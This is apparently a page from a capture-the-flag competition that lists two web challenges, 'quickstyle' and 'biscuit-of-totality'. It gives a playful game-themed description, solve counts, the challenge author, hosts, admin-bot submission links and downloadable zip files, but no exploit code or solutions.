Admin Bot - https://admin-bot.lac.tf/quickstyle

Files: quickstyle.zip

biscuit-of-totality - 5 solves

Created by: arcblroth

Farm crops, cultivate flowers, and generate mana to craft the vaunted Biscuit of Totality in my new game that is definitely not a ripoff of any Vazkii mods or anything…

biscuit-of-totality.chall.lac.tf

I’m not that good at the game, so if you wanna send your high scores to me drop them at https://admin-bot.lac.tf/biscuit-of-totality thx

Files: biscuit-of-totality.zip

This post is licensed under CC BY 4.0 by the author.